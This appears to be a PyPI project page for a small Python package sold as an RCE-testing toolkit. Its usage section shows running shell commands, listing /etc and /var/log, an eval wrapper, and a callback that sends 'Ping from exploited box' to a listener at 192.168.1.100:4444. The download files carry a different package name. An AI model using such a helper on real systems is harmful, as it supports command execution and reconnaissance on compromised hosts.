Toolkit for RCE testing, command execution, and file enumeration
Project description
mukeshkumar
A powerful single-file Python toolkit for Remote Code Execution (RCE) testing, file and directory enumeration, and Linux command execution.
🚨 For educational and authorized testing purposes only.
🔧 Features
- ✅ List files, folders, and recursively enumerate directories
- ✅ Run Linux commands and capture output
- ✅ Execute system-level calls
- ✅ Use
glob,pathlib, andosmodules together - ✅ Optional socket callback support for RCE testing
📦 Installation
pip install mukeshkumar
🚀 Usage
import mukeshkumar
# Run Linux command
print(mukeshkumar.run_command("uname -a"))
# List all files in /etc
print(mukeshkumar.list_files("/etc"))
# Recursive listing using pathlib
print(mukeshkumar.scan_pathlib("/var/log"))
# Run a command using os.system
mukeshkumar.run_os_system("ls -l")
# Send a callback to a listener
mukeshkumar.send_callback("192.168.1.100", 4444, "Ping from exploited box")
# Host information
print(mukeshkumar.get_host_info())
📁 Module Functions
📂 File Enumeration
list_all(path=".")list_files(path=".")list_dirs(path=".")recursive_glob(path=".", pattern="*")scan_pathlib(path=".")
⚙️ Command Execution
run_command(cmd)run_os_system(cmd)safe_eval(code)(⚠️ Dangerous — use for test only)
🌐 Network Utilities
get_host_info()send_callback(ip, port, msg)
⚠️ Disclaimer
This tool is intended only for ethical hacking, penetration testing, or system administration on systems you have explicit permission to test. Any misuse is strictly prohibited and the author assumes no responsibility for illegal usage.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file letstry-0.1.0.tar.gz.
File metadata
- Download URL: letstry-0.1.0.tar.gz
- Upload date:
- Size: 2.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
8f06084904851484851a3247768b0784600a60637336e22af19afb8aab9f965a
|
|
| MD5 |
0c9861d7d725502898a19299c91e85b9
|
|
| BLAKE2b-256 |
3220180569ef28a150168d7634e64957c412f3c7ceffea8a33e8d76533794533
|
File details
Details for the file letstry-0.1.0-py3-none-any.whl.
File metadata
- Download URL: letstry-0.1.0-py3-none-any.whl
- Upload date:
- Size: 2.9 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
bdca1a3c65ba2cd38272e6d9c1308e71aea0939a3f959823811c1bba362842fd
|
|
| MD5 |
0f1647089b436ef0f8d4335955d06335
|
|
| BLAKE2b-256 |
39a326e1276b863b4c51f583ac9dacd101ed681433f953634292807123e8f72f
|